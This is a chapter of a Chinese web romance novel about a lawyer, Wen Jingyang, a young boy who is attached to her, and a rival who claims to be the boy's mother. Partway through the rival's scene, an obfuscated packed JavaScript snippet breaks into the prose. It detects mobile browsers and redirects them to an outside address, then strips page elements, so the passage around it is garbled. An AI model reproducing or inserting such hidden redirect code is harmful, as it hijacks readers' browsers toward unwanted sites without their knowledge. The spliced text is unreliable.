她的目光落在靳念旸身上,声音软了一度:“念念在学校要乖乖的哦。” 靳念旸点了点头,眼睛里有些不舍:“我会的,阳阳姐姐。” 等温静阳离开后,车子重新启动。 靳念旸坐在后座,低下头,点亮了手表的屏幕。 温静阳的头像安安静静地躺在通讯录里,那是他刚刚在车里加上的。 他点开头像。 看了温静阳的主页两秒。 退出。 又点开。 再退出。 点开。 退出。 靳承野靠在座椅上,阖着眼,声音平淡:“想发就发。” 靳念旸的手指停住了。 他抬起头看向父亲,那双黑眸里的光亮了起来,亮得很明显。 靳承野没有睁眼看他,继续闭目养神。 靳念旸低下头,小手在手表屏幕上一个字一个字地敲着。 敲得很慢很认真,每一个字都反复看了好几遍才发出去。 【你好,阳阳姐姐,我是靳念旸。】 发送。 手表的屏幕安静了几秒。 然后震动了一下。 温静阳回了一个表情包。 是一只圆滚滚的小猫咪,举着爪子比了个心,旁边写着“收到啦~”。 靳念旸盯着那个表情包看了很久,然后他小心翼翼地长按屏幕,把表情包存进了手表的相册里。 存好之后,他又打开相册确认了一遍。 存好了,不会消失了。 “靳念旸。”靳承野的声音再次响起。 靳念旸的身体微微绷紧。 “别陷太深。”男人的语气听不出情绪,“不然又像今天一样。” 车厢里安静了下来。 靳念旸想起了刚才温静阳蹲在他面前,杏眼弯弯的,声音软软的,很温柔。 但她说的是“不能叫我妈妈的”。 他能理解。 她是哥哥的未婚妻,不是他的妈妈。 这是事实。 但理解和难过是两回事。 靳念旸低下头,看着手表屏幕上那只举着爪子比心的小猫咪。 “我知道了,父亲。”他的声音很轻。 “一个蛋糕就够了。” “我不会奢求太多的……” 靳承野没有再说话。 车窗外的梧桐树影一帧一帧地掠过,光斑落在男孩安静的侧脸上,明明灭灭。 …… 次日清晨。 天还没完全亮,温静阳就出了门。 “云间手作”七点半开门,她七点二十就到了巷子口。 温静阳靠在巷子口的墙上等着,手机里处理着远航的文件。 “静阳?”一个带着惊喜的声音从身后传来。 温静阳回过头。 是一个长相秀丽的男人。 温静阳认出了他:“林优然?” 男人是温静阳的高中同学,当年高中是追过温静阳,但是不知道为什么有一天突然转学了。 两人熟人见面,随意聊了几句,然后提到当年林优然转学的事情。 “没办法,当初追你的不止我一个,我被人堵巷子里揍了。”林优然无奈地摊了摊手。 温静阳微微蹙眉:“是温屿琛吗?” 林优然摇头:“不是。” 温静阳有些诧异,毕竟她那个哥哥从小对她的保护欲是出了名的高。 只是后来她才知道,根本是不是什么哥哥保护妹妹,而是恶心的占有欲。 林优然继续道:“是祁秋铭。” 温静阳几乎是瞬间否认:“不可能。” 祁秋铭是祁家的大少爷,与温静阳青梅竹马。 祁秋铭待人处事一直都非常温柔,教养良好。 当初温家得知温静阳不是温家的血脉后,温屿琛对于温静阳的感情就不在隐藏了,日益露骨。 每次温屿琛骚扰温静阳时,都是祁秋铭保护的她。 只是后来那场大火……她就再也见不到他了。 “秋铭哥是不会**的。”温静阳肯定道。 林优然:“要不是我被揍了,我也不信祁家大少爷会**。” “不过确实是他带人打的……”他顿了顿,语气有些低落:“但也是我活该。” 温静阳不解地看向林优然。 林优然叹了口气,语气带上了几分小心翼翼:“你还记得那次……风筝的事吗?” 温静阳闻言抿了抿唇。 当时温姝敏温声细语地拜托她,求她帮忙拿挂在假山上的风筝。 那个时候的温静阳才十多岁,她受温家宠爱了十多年,被爱意滋养着长大,自然而然地相信所有人都是好人。 听到姐姐的拜托,她没多想爬上假山帮她拿风筝,结果风筝撞在假山时撞坏了。 林优然的表情有些复杂:“你妈妈看到了,以为是你弄坏的,直接把你从假山上拽下来,当着我们所有人的面……” 他没有把后面的话说完。 但是温静阳记得。 她被拽下来,母亲直接抬脚踹在她身上。 她蜷缩在地上,周围站满了来家里做客的同学和家长。 没有人拉住她的母亲。 所有人都在看着。 而假山的另一边,她的姐姐抱着那只坏掉的风筝,安安静静地站在那里。 没有开口解释。 “当时我们都吓坏了。”林优然的声音里带着歉意,“我一直想跟你说对不起,当时我应该帮你说话的……” “祁少爷说得对,我这么胆小,根本没有资格说喜欢你。” 温静阳回过神来,杏眼弯了弯,笑容甜软:“哎呀,跟你们没有关系啦。” “毕竟大家都是来做客的,本来就不好插手,很正常的。” 施暴的是她的母亲,与其他人无关。 只是她没想到祁秋铭会因为这件事揍了林优然。 林优然看着她的笑容,欲言又止。 …… 和林优然分别后,温静阳提着蛋糕往律所走去。 她一直都不明白。 姐姐来了之后,母亲对她的态度就变了。 动辄大骂,简直像对待仇人一般。 就算她不是温家的血脉,可是十多年的养育之情,能说变就变的吗? 她不理解。 …… 明德律师事务所。 赵悦看到温静阳来了,连忙上前拉住她:“有个女的来了,说有案子,点名要你。” 温静阳把蛋糕放到冰箱里:“女的?” “嗯,穿得挺讲究,我让他在会客室等着了。” …… 会客室。 沈千嫆笑容温柔:“温律师年纪轻轻就做到了合伙人,真是了不起。” “只是不知道温律师和未婚夫的小叔交往过密,传出去……恐怕不太好听吧?” 温静阳的笔尖在纸面上顿了一下,然后她抬起头,杏眼弯弯地看着沈千嫆,笑容甜得很。 “沈小姐,如果您是来聊天的话,我手头还有工作要处理。”她合上了笔记本。 沈千嫆嗤笑了一声,放下茶杯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234054|197654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身体微微前倾,眼中逐渐染上恶意:“温律师别急。” “我这个案子,和念念有关。” 温静阳的动作顿住了。 沈千嫆看着她的反应,唇角的弧度加深了几分:“温小姐可能不知道吧。” 她一字一顿道。 “念念他,其实是我的儿子。” 会客厅里安静了。 温静阳杏眼微微眯起:“靳娇娇小姐似乎不是这么说的。” 靳娇娇说过,靳念旸的母亲是另一个女人,正是因为那个女人的出现,才导致沈千嫆和靳承野的婚约告吹。 沈千嫆轻轻笑了一声,那笑声里带着几分居高临下的怜悯:“靳娇娇?她一个养女,能知道多少?” 温静阳没有接话,只是安静地看着沈千嫆。 沈千嫆继续道:“我想委托温律师,帮我争取对靳念旸的探望权。” “当然,在所有资料准备齐全、正式立案之前,这件事不能透露给靳承野。” “温律师是专业人士,应该清楚保密义务,可别违反职业道德了。” 温静阳的睫毛动了一下,然后道:“沈小姐有什么证据能证明靳念旸是您的儿子?” 沈千嫆:“目前没有。” 温静阳:“……” 合着你搁这空手套白狼呢? 温静阳:“沈小姐,这个案子我没办法接。” 沈千嫆的笑容没有消失:“温律师会同意的。” “温律师就不想知道六年前到底发生了什么吗?” 沈千嫆从手包里取出一样东西,放在了茶几上。 是一张房卡,旁边压着一张折好的纸条。 “当年靳承野养的那只小金丝雀,就住在这个地方。”沈千嫆的声音轻飘飘的,“温律师可以去看看,也许会有收获。” 沈千嫆起身离开,出门前回头看向温静阳:“温律师慢慢考虑,不着急。” 门轻轻合上了。 会客厅里只剩下温静阳一个人。 温静阳低头看了一眼纸条上的地址。 璟澜酒店。 她被下药的那个晚上,就是在那里。 而且温屿琛也在璟澜酒店。 “璟澜酒店啊……”她低低地自言自语了一句,语调软软的,听不出什么情绪。 “还真是巧呢。” …… 赵悦正整理文件,就听到一个声音:“你好,我找温律师。” 她抬头就看到一个穿着黑色小西装的男孩,身后跟着一个身材魁梧的保镖一样的人。 赵悦一愣。 这小孩……怎么自带气场的。 她喊了一句:“温静阳,你儿子来找你了!” 温静阳抱着资料走了出来:“悦姐,我哪来的儿子,我下午要去璟澜酒店一趟,你帮我……咦,念念?” 靳念旸站在那里等着,看到温静阳出来的瞬间,眸子亮了亮,但还是乖乖地站着:“阳阳阿姨好。” 上次回家后,被父亲教育了一通。 他最喜欢的阳阳姐姐的称呼被迫改成阳阳阿姨了。 温静阳也不在意男孩称呼的变化,放下资料从冰箱取了蛋糕递给男孩:“上次说好的。” 靳念旸接过蛋糕盒,双手捧着,指尖收得很紧,像是怕它掉了:“谢谢,阳阳阿姨。” 温静阳伸手揉了揉他的头发。靳念旸没有躲,甚至微不可察地往她掌心蹭了蹭。 “好吃的话,下次姐姐再给你买。” 靳念旸点了点头,抱着蛋糕盒转身往门口走。走了两步又停下来,回过头。 “阳阳阿姨。” “嗯?” “蛋糕……我会慢慢吃的。” 他说完这句话就转身走了,小小的身影穿过玻璃门,消失在午后的阳光里。 万凛跟在他身后,临走前朝温静阳微微点了下头,算是打了个招呼。 赵悦凑过来,胳膊肘拐了拐温静阳:“这小孩真不是你儿子?明明那鼻子嘴巴和你一样嘛。说,是不是瞒着我偷偷生了个娃吧?” 温静阳一愣,回想了一下。 确实,靳念旸的眼睛和他的父亲特别像,凛冽、幽深。 当别人看向他时,容易只注意到他的眼睛,但是仔细回想一下,他的鼻子嘴巴……确实和自己有些像。 “哪有,鼻子嘴巴像的,多了去了。” …… 另一边,靳念旸抱着蛋糕,回想着温静阳刚刚说的话,对副驾上的万凛说了一句:“万凛叔叔,麻烦和父亲说一下,阳阳阿姨今天下午要去璟澜酒店。” 坐在副驾上正在擦枪的万凛差点被这声“叔叔”吓得丢了枪。 他还没说什么,就听到自家小少爷继续道: “还有,我看到沈千嫆阿姨从律所出来了。” 万凛闻言,表情沉重:“是。”